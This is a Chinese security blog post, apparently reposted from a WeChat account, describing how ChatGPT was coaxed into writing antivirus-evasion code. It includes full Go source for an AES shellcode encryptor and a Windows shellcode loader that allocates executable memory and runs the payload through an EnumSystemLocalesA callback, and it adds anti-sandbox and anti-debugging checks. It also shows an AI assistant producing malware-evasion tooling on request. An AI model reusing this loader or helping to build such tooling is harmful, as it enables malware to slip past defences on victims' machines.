用嘴喷调教ChatGPT实现ByPass!

admin 2023年1月7日16:13:42评论95 views字数 4533阅读15分6秒阅读模式

免责声明

  • 网站发布的靶场项目中涉及的任何脚本,仅用于测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

  • 本文内靶场所有资源文件,禁止任何公众号、自媒体进行任何形式的转载、发布。

  • PTEHUB 对任何思路、脚本及工具问题概不负责,包括但不限于由任何脚本错误导致的任何损失或损害.

  • 文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,包括但不限于建立VPS或在某些行为违反国家/地区法律或相关法规的情况下进行传播, PTEHUB 对于由此引起的任何隐私泄漏或其他任何法律后果概不负责。

  • 如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

  • 以任何方式查看或使用此项目的人或直接或间接使用项目的任何脚本的使用者都应仔细阅读此声明。PTEHUB 保留随时更改或补充此免责声明的权利。一旦使用访问 PTEHUB 项目,则视为您已接受此免责声明。

您访问或者使用了 PTEHUB ,则视为已接受此声明,请仔细阅读

您在本声明未发出之时使用或者访问了 PTEHUB ,则视为已接受此声明,请仔细阅读

0x01·简述

咳咳,好久没更新了,今天主动来水一篇文章。(没人逼我!!!)

事情的起因还得从前两天那个ChatGPT(至于怎么注册网上应该有很多文章了)说起,本来以为也是个智障东西,结果发现对于我这种脚本老子还挺好用,这篇文章以免杀为例让大家深刻体会标题的含义。

0x02·冲冲冲

不多逼逼,直接上操作(免杀基本原理不懂得可以看之前文章)。

输入需求它就会自动生成代码。


用嘴喷调教ChatGPT实现ByPass!


对生成的代码直接新建项目copy进去即可(加密shellcode单独建个项目单纯的只用来加密),后将字符串内容替换为要加密的shellcode并更改密钥。


用嘴喷调教ChatGPT实现ByPass!


看下效果。


用嘴喷调教ChatGPT实现ByPass!


代码如下:

package main
import ( "bytes" "crypto/aes" "crypto/cipher" "encoding/base64" "fmt")
func main() { // 定义密钥 key := []byte("密钥")
// 定义明文字符串 plaintext := []byte("shellcode")
// 使用密钥和明文字符串创建一个AES加密器 block, err := aes.NewCipher(key) if err != nil { panic(err) }
// 计算出加密器需要的填充长度 padding := aes.BlockSize - len(plaintext)%aes.BlockSize
// 使用填充长度创建一个填充字符串 paddingText := bytes.Repeat([]byte{byte(padding)}, padding)
// 将填充字符串添加到明文字符串末尾,得到需要加密的字符串 encryptedText := append(plaintext, paddingText...)
// 创建一个存储密文的切片 ciphertext := make([]byte, len(encryptedText))
// 使用加密器对需要加密的字符串进行加密,得到密文 mode := cipher.NewCBCEncrypter(block, key) mode.CryptBlocks(ciphertext, encryptedText)
// 将密文进行base64编码,得到最终的加密结果 encodedCiphertext := base64.StdEncoding.EncodeToString(ciphertext) fmt.Println(encodedCiphertext)}

再新建一个项目做为主题程序,把解密代码复制进去,并替换需要解密的字符串。


用嘴喷调教ChatGPT实现ByPass!


接下来需要一个shellcode loader。这里截取它给出的部分代码。


用嘴喷调教ChatGPT实现ByPass!


看下效果可以成功上线。


用嘴喷调教ChatGPT实现ByPass!


代码如下:

package main
import ( "bytes" "crypto/aes" "crypto/cipher" "encoding/base64" "fmt" "golang.org/x/sys/windows" "syscall" "unsafe")
var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") EnumSystemLocalesA = kernel32.MustFindProc("EnumSystemLocalesA") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory"))
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40)
func main() { key := []byte("密钥") encodedCiphertext := "加密后的shellcode" block, err := aes.NewCipher(key) if err != nil { panic(err) } padding := aes.BlockSize - len(encodedCiphertext)%aes.BlockSize decodedCiphertext, err := base64.StdEncoding.DecodeString(encodedCiphertext) if err != nil { panic(err) } decryptedText := make([]byte, len(decodedCiphertext)) mode := cipher.NewCBCDecrypter(block, key) mode.CryptBlocks(decryptedText, decodedCiphertext) decryptedText = bytes.TrimRight(decryptedText, string(padding))
addr, err := windows.VirtualAlloc(0, uintptr(len(decryptedText)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil { fmt.Println(err) return } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryptedText[0])), uintptr(len(decryptedText))) if err != nil { EnumSystemLocalesA.Call(addr, 0) return }}

编译出来看下效果。


用嘴喷调教ChatGPT实现ByPass!


静态没问题。


用嘴喷调教ChatGPT实现ByPass!


动态查杀一定会出问题,再加一个随机内存跳跃吧。


用嘴喷调教ChatGPT实现ByPass!


在加个反沙箱。


用嘴喷调教ChatGPT实现ByPass!


再来个检测调试。


用嘴喷调教ChatGPT实现ByPass!


完整代码如下:

package main
import ( "bytes" "crypto/aes" "crypto/cipher" "encoding/base64" "fmt" "golang.org/x/sys/windows" "math/rand" "os" "runtime" "syscall" "unsafe")
var ( kernel32 = syscall.MustLoadDLL("kernel32.dll") ntdll = syscall.MustLoadDLL("ntdll.dll") EnumSystemLocalesA = kernel32.MustFindProc("EnumSystemLocalesA") RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory"))
const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 PAGE_EXECUTE_READWRITE = 0x40)
func main() { if runtime.GOOS == "windows" { b := make([]byte, 1) rand.Read(b) if b[0] != 0 { pc, _, _, ok := runtime.Caller(0) if !ok { } fn := runtime.FuncForPC(pc).Name() if fn != "main.main" { os.Exit(1) return } key := []byte("S2JRdeuEyxuXdtoZ") encodedCiphertext := "加密后的shellcode"
array := rand.Perm(10) for i := 0; i < 5; i++ { rand.Intn(len(array)) }
block, err := aes.NewCipher(key) if err != nil { panic(err) } padding := aes.BlockSize - len(encodedCiphertext)%aes.BlockSize decodedCiphertext, err := base64.StdEncoding.DecodeString(encodedCiphertext) if err != nil { panic(err) } decryptedText := make([]byte, len(decodedCiphertext)) mode := cipher.NewCBCDecrypter(block, key) mode.CryptBlocks(decryptedText, decodedCiphertext) decryptedText = bytes.TrimRight(decryptedText, string(padding))
addr, err := windows.VirtualAlloc(0, uintptr(len(decryptedText)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) if err != nil { fmt.Println(err) return } _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&decryptedText[0])), uintptr(len(decryptedText))) if err != nil { EnumSystemLocalesA.Call(addr, 0) return } } else { os.Exit(1) } }}

再次编译测试。


用嘴喷调教ChatGPT实现ByPass!


0x03·总结

emmmmm,看吧。

具体大家可以自行深入开发深入调教,以上只是一个简单的示范。


0x07·福利


1.关注公众号回复关键词 入群 获取群二维码

2.扫码入群回复关键词 靶场密钥 获取登录账户

3.扫码入群回复关键词 靶场列表 获取所有在线靶场IP



由宝鸡恩酷电子网络科技有限公司(零遁)提供网络技术支撑


往期推荐

用嘴喷调教ChatGPT实现ByPass!

技术分享 | XX中得Cobaltstrike隐藏IP+无脑免杀

技术分享 | Dll劫持BYPASS UAC【一】

靶场分享 | 【第一集】newy靶场详解之干下WEB!


原文始发于微信公众号(每天一个入狱小技巧):用嘴喷调教ChatGPT实现ByPass!

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月7日16:13:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用嘴喷调教ChatGPT实现ByPass!http://cn-sec.com/archives/1455491.html

发表评论

匿名网友 填写信息